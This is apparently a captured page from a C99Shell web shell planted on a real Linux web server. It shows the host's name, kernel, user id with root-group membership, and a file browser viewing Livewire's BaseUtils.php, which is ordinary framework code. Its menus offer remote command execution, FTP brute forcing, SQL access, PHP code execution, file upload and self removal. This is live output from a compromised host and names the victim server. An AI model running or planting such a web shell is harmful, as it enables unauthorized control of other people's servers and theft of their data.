!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/livewire/livewire/src/Drawer/   drwxr-xr-x
Free 28.72 GB of 117.98 GB (24.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BaseUtils.php (3.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Drawer;

class 
BaseUtils
{
    static function 
isSyntheticTuple($payload) {
        return 
is_array($payload)
            && 
count($payload) === 2
            
&& isset($payload[1]['s']);
    }

    static function 
isAPrimitive($target) {
        return
            
is_numeric($target) ||
            
is_string($target) ||
            
is_bool($target) ||
            
is_null($target);
    }

    static function 
getPublicPropertiesDefinedOnSubclass($target) {
        return static::
getPublicProperties($target, function ($property) {
            
// Filter out any properties from the first-party Component class...
            
return $property->getDeclaringClass()->getName() !== \Livewire\Component::class;
        });
    }

    static function 
getPublicProperties($target$filter null)
    {
        return 
collect((new \ReflectionObject($target))->getProperties())
            ->
filter(function ($property) {
                return 
$property->isPublic() && ! $property->isStatic() && $property->isDefault();
            })
            ->
filter($filter ?? fn () => true)
            ->
mapWithKeys(function ($property) use ($target) {
                
// Ensures typed property is initialized in PHP >=7.4, if so, return its value,
                // if not initialized, return null (as expected in earlier PHP Versions)
                
if (method_exists($property'isInitialized') && !$property->isInitialized($target)) {
                    
// If a type of `array` is given with no value, let's assume users want
                    // it prefilled with an empty array...
                    
$value = (method_exists($property'getType') && $property->getType() && method_exists($property->getType(), 'getName') && $property->getType()->getName() === 'array')
                        ? [] : 
null;
                } else {
                    
$value $property->getValue($target);
                }

                return [
$property->getName() => $value];
            })
            ->
all();
    }

    static function 
getPublicMethodsDefinedBySubClass($target)
    {
        
$methods array_filter((new \ReflectionObject($target))->getMethods(), function ($method) {
            
$isInBaseComponentClass $method->getDeclaringClass()->getName() === \Livewire\Component::class;

            return 
$method->isPublic()
                && ! 
$method->isStatic()
                && ! 
$isInBaseComponentClass;
        });

        return 
array_map(function ($method) {
            return 
$method->getName();
        }, 
$methods);
    }

    static function 
hasAttribute($target$property$attributeClass) {
        
$property = static::getProperty($target$property);

        foreach (
$property->getAttributes() as $attribute) {
            
$instance $attribute->newInstance();

            if (
$instance instanceof $attributeClass) return true;
        }

        return 
false;
    }

    static function 
getProperty($target$property) {
        return (new 
\ReflectionObject($target))->getProperty($property);
    }

    static function 
propertyIsTyped($target$property) {
        
$property = static::getProperty($target$property);

        return 
$property->hasType();
    }

    static function 
propertyIsTypedAndUninitialized($target$property) {
        
$property = static::getProperty($target$property);

        return 
$property->hasType() && (! $property->isInitialized($target));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--